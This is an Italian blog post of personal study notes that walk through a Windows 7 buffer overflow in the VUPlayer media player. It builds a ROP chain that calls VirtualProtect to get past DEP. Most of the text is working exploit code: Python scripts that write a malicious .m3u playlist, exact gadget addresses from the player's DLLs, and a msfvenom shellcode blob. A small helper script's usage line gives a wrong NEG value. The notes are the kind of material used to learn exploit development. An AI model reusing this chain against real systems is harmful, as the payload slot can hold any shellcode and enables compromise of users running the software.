Binary Exploitation

ROP Chain – Windows

Quelli che seguono sono appunti personali scritti per memorizzare i concetti appresi, l’articolo non ha la pretesa di essere un tutorial.

Software: https://www.exploit-db.com/apps/39adeb7fa4711cd1cac8702fb163ded5-vuplayersetup.exe

OS: WIN 7

Arch: 0x86

Return Oriented Programming è un tecnica che si utilizza nei sistemi moderni per bypassare DEP (Deep Execution Prevention). Da Windows 7 in poi DEP è attivo di default e a partire da Vista è presente ASLR.

Riferimenti: https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/

TL;DR

La tecnica consiste nell’utilizzare delle syscall di windows per alterare o bypassare la DEP policy.

Alcune delle funzioni più utilizzate sono:

Per il mio esercizio utilizzerò VirtualProtect che è in grado di modificare il tipo di accesso ad una determinata area di memoria. Con questa syscall è possibile rendere la memoria eseguibile.

Quando DEP è attivo, gli opcode presenti nello stack non saranno eseguiti, ne consegue che non è possibile piazzare uno shellcode nello stack alla solita maniera.

Quello che è possibile fare però, è trovare degli indirizzi contenenti delle istruzioni già presenti all’interno della memoria e piazzarle nello stack. Ogni istruzione deve essere seguita da RET per fare in modo che l’esecuzione resti sempre all’interno dello stack. Sappiamo tutti che l’istruzione RET salva in EIP (la prossima istruzione che verrà eseguita) il valore a cui punta ESP.

Con questa tecnica è possibile quindi preparare lo stack affinché esegua nella maniera corretta, con tutti i parametri necessari, una delle syscall sopra elencate.

La scelta di una syscall piuttosto che un’altra dipende anche dal sistema operativo target:

Fonte: corelan.be

ASLR

Le syscall di Windows sono all’interno delle DLL di sistema che con ASLR sono caricate in degli indirizzi casuali, non è possibile quindi hardcodare l’indirizzo che punta a una syscall. Esiste però la IAT (Import Address Table), una tabella virtuale in cui vengono caricati, con l’ausilio del dynamic linker, a runtime, tutti gli indirizzi delle DLL e quindi anche delle syscall richieste dal software. Dai test che ho potuto effettuare, le DLL sono caricate sempre allo stesso offset (address base 0x00400000) ad ogni avvio del programma.

Per vedere le IAT su immunity:

Se non contengono nullbytes o badchars, è possibile utilizzare gli indirizzi alle syscall presenti nelle IAT.

Esempio pratico

Per questo esercizio il punto di partenza è il seguente:

#!/usr/local/bin/python3

buf = b"A" * 2500

file = open('exploit2.m3u', 'wb')
file.write(buf)
file.close()
print("[+] Exploit created!")

Al momento del crash EIP viene sovrascritto con 0x41414141:

Calcolo l’offset alla solita maniera creando un pattern con mona e rilancio l’exploit:

!mona pc 2500

EIP viene sovrascritto con 68423768:

calcolo l’offset:

!mona po 68423768

EIP viene sovrascritto dopo 1012 bytes.

#!/usr/local/bin/python3

tot = 2500
buf = b"A" * 1012
buf += b"BBBB"
buf += b"C" * (tot - 1012 - 4)

file = open('exploit2.m3u', 'wb')
file.write(buf)
file.close()
print("[+] Exploit created!")

La dimostrazione del fatto che DEP è attivo si ottiene dirottando l’esecuzione all’interno dello stack sovrascrivendo EIP con JMP ESP e piazzando dei breakpoints al posto delle C. DEP bloccherà l’esecuzione degli opcode che identificano i breakpoints.

Occorre trovare una libreria che sia stata compilata senza ASLR per poter utilizzare l’indirizzo dell’istruzione JMP ESP:

!mona modules -cm aslr=false,rebase=false

Rebase=False significa che in caso di conflitto tra gli indirizzi in cui sono caricate le varie DLL, la libreria non verrà spostata in un’altra parte della memoria. Serve trovare un modulo con Rebase=False, oltre ad ASLR=False per poter essere sicuri che ad ogni caricamento gli indirizzi delle istruzioni siano sempre gli stessi.

A questo punto si può cercare l’istruzione JMP ESP nei moduli trovati da mona:

Bisogna prendere in considerazione un indirizzo senza nullbytes, ad esempio: 0x1010539f

#!/usr/local/bin/python3
import pwn

tot = 2500

jmp_esp = pwn.p32(0x1010539f)

buf = b"A" * 1012
buf += jmp_esp
buf += b"\xcc" * (tot - 1012 - 4)

file = open('exploit2.m3u', 'wb')
file.write(buf)
file.close()
print("[+] Exploit created!")

Nel momento in cui si carica il file playlist all’interno di VUPlayer, il debugger si interromperà con un Access violation, questo perché DEP ha bloccato l’esecuzione dei breakpoints nello stack.

Per fare in modo che il programma esegua delle istruzioni occorre creare una ROP Chain. La ROP Chain è una sequenza di indirizzi da piazzare nello stack che puntano a delle istruzioni già presenti in memoria. La prima cosa da fare è dirottare l’esecuzione verso gli indirizzi che saranno contenuti nello stack, quindi va sostituito il JMP ESP precedente con un gadget RET.

I gadget possono essere trovati con l’ausilio di mona, che salverà un file rop.txt nella cartella di ImmunityDebugger. Attenzione ai nullbytes e badchars.

!mona rop -m VUPlayers.exe,BASSWMA.dll,BASSMIDI.dll,BASS.dll

file rop.txt
#!/usr/local/bin/python3
import pwn

tot = 2500

jmp_esp = pwn.p32(0x1010539f)
ret = pwn.p32(0x10101008) # 08 perché a 07 c'è POP ECX

buf = b"A" * 1012
buf += ret
buf += b"BBBB"
buf += b"CCCC"
buf += b"\x90" * (tot - 1012 - 4 - 4 - 4)

file = open('exploit2.m3u', 'wb')
file.write(buf)
file.close()
print("[+] Exploit created!")

Adesso conviene cercare l’indirizzo all’interno di Immunity e impostare un breakpoint:

Una volta eseguito l’exploit, l’esecuzione si interromperà sulla RET in cui è stato settato il breakpoint dal momento che EIP è stato sovrascritto con l’indirizzo della RET.

Facendo step into, 42424242 verrà salvato all’interno di EIP, se fosse un indirizzo di memoria contenente un altro gadget sarebbe eseguito.

Adesso serve preparare lo stack per richiamare la syscall VirtualProtect con l’ausilio di ROP Chain in maniera da rendere lo stack eseguibile dato che lo shellcode sarà piazzato li.

Bisogna consultare la documentazione di Microsoft per vedere quali argomenti devono essere passati alla funzione in modo da costruire la call.

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
);

Per utilizzare la funzione è necessario posizionare nello stack i parametri lpAddress, dwSize, flNewProtect, lpflOldProtect e il return address, ossia dove proseguirà l’esecuzione dopo la chiamata a VirtualProtect. Lo stack sarà preparato come segue:

Return AddressDove proseguirà l’esecuzione al ritorno da VirtualProtect
lpAddressIndirizzo posizione shellcode: è l’area di memoria che sarà resa eseguibile.
dwSizeDimensione area di memoria da rendere eseguibile
flNewProtectFlag di modifica (0x40 rende eseguibile)
lpflOldProtect(Spazzatura) Indirizzo di memoria qualunque, deve avere permesso di scrittura. Riceverà il vecchio flag di modifica che ha l’area di memoria che stiamo cambiando.
Tabella #1

Quindi i registi dovranno contenere quello che segue:

EAXpuntatore a VirtualProtect()
ECXlpflOldProtect
EDXNewProtect
EBXdwSize
ESPlpAddress
EBPReturn Address
ESIpuntatore a JMP [EAX]
EDIROP NOP (RET)
Tabella #2

Una volta preparati tutti i registri va eseguita l’istruzione PUSHAD che pusherà in contemporanea nello stack tutti i registri. Lo stack figurerà così, con tutti i parametri ordinati secondo la Tabella #1, rispettando la calling convention:

EDIROP NOP (RET)
ESIpuntatore a JMP [EAX]
EBPReturn Address
ESPlpAddress
EBXdwSize
EDXNewProtect
ECXlpflOldProtect
EAXpuntatore a VirtualProtect()
Tabella #3

La struttura dello stack ci aiuta a prepararla mona. Infatti, quando ho utilizzato il comando:

!mona rop -m VUPlayes.exe,BASSWMA.dll,BASSMIDI.dll,BASS.dll

mona ha generato anche un file rop_chains.txt dove all’interno si trovano le indicazioni su come impostare i registri a seconda della syscall che si vuole utilizzare:

mona rop_chains.txt

Io ho impostato lo stack seguendo l’alternative chain.

Quello che segue è lo script finale con il setup dei registri e lo shellcode. I gadget sono stati trovati all’interno del file rop.txt generato da mona. Il puntatore IAT a VirtualProtect() si può trovare all’interno di rop_chains.txt o consultando la IAT come mostrato in precedenza, selezionando una dll caricata dal software. Per vedere l’indirizzo di memoria writable invece su Immunity View > Memory > far riferimento ad una dll del software scegliendo un indirizzo writable che non contenga nulla.

#!/usr/local/bin/python3
import pwn

tot = 2500

# msfvenom -p Windows/exec cmd=calc.exe -b "\x00\x0a\x0d\x1a" -f c 
shellcode = (b"\xba\x06\xfd\x75\xdb\xdb\xd8\xd9\x74\x24\xf4\x58\x33\xc9\xb1"
b"\x31\x31\x50\x13\x83\xc0\x04\x03\x50\x09\x1f\x80\x27\xfd\x5d"
b"\x6b\xd8\xfd\x01\xe5\x3d\xcc\x01\x91\x36\x7e\xb2\xd1\x1b\x72"
b"\x39\xb7\x8f\x01\x4f\x10\xbf\xa2\xfa\x46\x8e\x33\x56\xba\x91"
b"\xb7\xa5\xef\x71\x86\x65\xe2\x70\xcf\x98\x0f\x20\x98\xd7\xa2"
b"\xd5\xad\xa2\x7e\x5d\xfd\x23\x07\x82\xb5\x42\x26\x15\xce\x1c"
b"\xe8\x97\x03\x15\xa1\x8f\x40\x10\x7b\x3b\xb2\xee\x7a\xed\x8b"
b"\x0f\xd0\xd0\x24\xe2\x28\x14\x82\x1d\x5f\x6c\xf1\xa0\x58\xab"
b"\x88\x7e\xec\x28\x2a\xf4\x56\x95\xcb\xd9\x01\x5e\xc7\x96\x46"
b"\x38\xcb\x29\x8a\x32\xf7\xa2\x2d\x95\x7e\xf0\x09\x31\xdb\xa2"
b"\x30\x60\x81\x05\x4c\x72\x6a\xf9\xe8\xf8\x86\xee\x80\xa2\xcc"
b"\xf1\x17\xd9\xa2\xf2\x27\xe2\x92\x9a\x16\x69\x7d\xdc\xa6\xb8"
b"\x3a\x12\xed\xe1\x6a\xbb\xa8\x73\x2f\xa6\x4a\xae\x73\xdf\xc8"
b"\x5b\x0b\x24\xd0\x29\x0e\x60\x56\xc1\x62\xf9\x33\xe5\xd1\xfa"
b"\x11\x86\xb4\x68\xf9\x67\x53\x09\x98\x77")

jmp_esp = pwn.p32(0x1010539f)
ret = pwn.p32(0x10101008)

buf_1 = b"A" * 1012
ropchain = ret # Sposta l'esecuzione nello stack, verranno eseguite le istruzioni che seguono

# TENERE A MENTE LA TABELLA #3

# -------------------------- SETUP EDI ---------------------------------------
ropchain += pwn.p32(0x10016218) # POP EDI # RETN              ** [BASS.dll] **
ropchain += ret                 # ROP NOP
# ------------------------ FINE SETUP EDI ------------------------------------
# IL SETUP DI EAX LO FACCIO SUCESSIVAMENTE DAL MOMENTO CHE QUESTO REGISTRO MI 
# SERVE PER CALCOLARE IL VALORE DI ALTRI REGISTRI


# -------------------------- SETUP EBP (RETURN ADDRESS) ----------------------
ropchain += pwn.p32(0x100106e1) # POP EBP # RETN          ** [BASSMIDI.dll] **
ropchain += pwn.p32(0x100106e1) # POP EBP # RETN          ** [BASSMIDI.dll] **
# ------------------------ FINE SETUP EBP ------------------------------------
# DATO CHE EBP SARA' IL RETURN ADDRESS DI VirtualProtect(), DENTRO AD
# EBP DEVE ESSERE PIAZZATA UN'ISTRUZIONE POP REG RET PER FAR PUNTARE ESP ALL'
# ISTRUZIONE SUCCESSIVA, OVVERO JMP ESP *(VEDI DOPO PUSHAD)


# -------------------------- SETUP EBX (dwSize) ------------------------------
ropchain += pwn.p32(0x10015f82) # POP EAX # RETN              ** [BASS.dll] **
ropchain += pwn.p32(0xfffffdff) # valore neg di 0x201
ropchain += pwn.p32(0x10014db4) # NEG EAX # RETN              ** [BASS.dll] **
ropchain += pwn.p32(0x10032f32) # XCHG EAX,EBX # RETN 0x00    ** [BASS.dll] **
# ------------------------ FINE SETUP EBX ------------------------------------
# DATO CHE 0x00000201 CONTIENE NULLBYTES E NON PUO' ESSERE INSERITO MANUALMENTE
# SI UTILIZZA 0xfffffdff CHE MOLTIPLICATO -1 (NEG) DA 0x00000201


# -------------------------- SETUP EDX (NewProtect) --------------------------
ropchain += pwn.p32(0x10015f82) # POP EAX # RETN              ** [BASS.dll] **
ropchain += pwn.p32(0xffffffc0) # valore neg di 0x40
ropchain += pwn.p32(0x10014db4) # NEG EAX # RETN              ** [BASS.dll] **
ropchain += pwn.p32(0x10038a6c) # XCHG EAX,EDX # RETN         ** [BASS.dll] **
# ------------------------ FINE SETUP EDX ------------------------------------
# DATO CHE 0x00000040 CONTIENE NULLBYTES E NON PUO' ESSERE INSERITO MANUALMENTE
# SI UTILIZZA 0xffffffc0 CHE MOLTIPLICATO -1 (NEG) DA 0x00000040


# -------------------------- SETUP ECX (lpflOldProtect) ----------------------
ropchain += pwn.p32(0x10101007) # POP ECX # RETN           ** [BASSWMA.dll] **
ropchain += pwn.p32(0x1003F010) # Writable address
# ------------------------ FINE SETUP ECX ------------------------------------


# -------------------------- SETUP EAX (VirtualProtect) ----------------------
ropchain += pwn.p32(0x10015f82) # POP EAX # RETN              ** [BASS.dll] **
ropchain += pwn.p32(0x1060E25C) # ptr to &VirtualProtect()    ** [BASSMIDI] **
# ------------------------ FINE SETUP EAX ------------------------------------


# -------------------------- SETUP ESI (JMP [EAX]) ---------------------------
ropchain += pwn.p32(0x1001eaf1) # MOV EAX,DWORD PTR DS:[EAX] # RETN
ropchain += pwn.p32(0x10604154) # POP ESI # RETN          ** [BASSMIDI.dll] **
ropchain += pwn.p32(0x10021833) # JMP EAX  
# ------------------------ FINE SETUP ESI ------------------------------------
# DAL MOMENTO CHE NON HO TROVATO UN INDIRIZZO CON UN'ISTRUZIONE JMP [EAX]
# QUINDI NON JMP AD EAX MA JMP ALL' INDIRIZZO A CUI PUNTA EAX (VirtualProtect)
# HO SPOSTATO L'INDIRIZZO A CUI PUNTA EAX DENTRO EAX. COSI HO POTUTO USARE 
# JMP EAX, CHIARO NO? XD

ropchain += pwn.p32(0x1001d7a5) # PUSHAD # RETN               ** [BASS.dll] **
ropchain += pwn.p32(0x1010539F) # JMP ESP *(POP REG RET SALVATA DENTRO EBP RIMANDA QUI)
# JMP ESP ESEGUIRA' LO SHELLCODE CHE SI TROVERA' NELLO STACK RESO ESEGUIBILE

buf_2 = b"\x90" * 16
buf_3 = b"\x90" * (tot - len(buf_1) - len(ropchain) - len(buf_2) - len(shellcode))

buffer = buf_1 + ropchain + buf_2 + shellcode + buf_3

file = open('exploit2.m3u', 'wb')
file.write(buffer)
file.close()
print("[+] Exploit created!")

Di seguito uno script che per calcolare NEG:

#!/usr/local/bin/python3

import sys

print("www.andreabruschi.net")

if len(sys.argv) < 3:
    print("[-] ERROR!!!11!1")
    print("[*] Usage: neg.py hex bit")
    print("[*] example: neg 0x40 32")
    print("[*] NEG 0x40 = 0xfffffdff")
else:
    
    try:
        input1 = int(str(sys.argv[1]), 16) * -1
        input2 = int(sys.argv[2])
    except ValueError:
        print("[-] Input must be integer")
        exit(0)
    
    val = hex(input1 & (2 ** input2-1))
    print("[*] SUCCESS!!!11!1")
    print("[+] NEG {} = {}".format(sys.argv[1], val))

Infine un video in cui si vede il PoC in azione: